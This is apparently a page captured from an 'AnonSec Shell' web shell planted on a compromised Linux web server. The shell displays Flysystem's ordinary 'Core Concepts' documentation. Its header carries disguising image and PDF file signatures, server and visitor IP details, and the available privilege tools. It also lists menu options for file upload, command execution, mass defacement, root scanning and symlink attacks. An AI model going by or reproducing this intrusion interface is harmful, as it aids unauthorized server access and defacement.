ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/_api/vendor/league/flysystem/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/_api/vendor/league/flysystem/docs/core-concepts.md
---
layout: default
permalink: /core-concepts/
title: Core Concepts
---

# Core concepts

In order to better understand how and why Flysystem works
the way it does, several concepts require some explanation.

## Overview

* [Focus/Goal](#focus)
* [Adapters](#adapters)
* [Relative Paths](#relative-paths)
* [Files first](#files-first)

## Focus

Flysystem's focus is to provide a standardized interface to working
with filesystems. We've searched for common ground across various
filesystems and implemented that in a cross-filesystem-compatible way.
This also means that we often don't support filesystem specific things.
This limitation is by design.

## Adapters

The main entry point for the file system API is the
FilesystemInterface. When working with file systems, this is
the class you'll want to be talking to.

Flysystem works the way it does because of its use of the 
adapter pattern. The inconsistencies of the different
filesystems are eliminated in these adapters.

While adapters have a public interface (publicly accessible
methods), they should be considered __internal__.

Every adapter should always be wrapped in a `League\Flysystem\Filesystem`
class:

```php
$filesystem = new League\Flysystem\Filesystem($yourAdapter)
```

## Relative paths

Portability is a very important concept within Flysystem. In order
to roll out this aspect to the fullest, all paths in Flysystem are
relative. File system root paths, whether remote or local, are viewed
as endpoints. Because of this, file systems are movable independently.
This allows parts of the application file handling to move to other
storage types, while the majority is in a centralized location.

Like the storage type, root paths are an implementation detail. When
root paths are defined as configuration, the stability of your code
improves.

## Files first, directories second.

Flysystem has a files first approach. Storage systems like AWS S3
are linear file systems, this means the path to a file is used as an
identifier, rather than a representation of all the directories it's
nested in.

This means directories are second class citizens. Because of this,
directories will be automatically created on file systems that require
them when writing files. Not only does this make handling writes a lot
easier, it also ensures a consistent behaviors across all file system
types.

Anon7 - 2022
AnonSec Team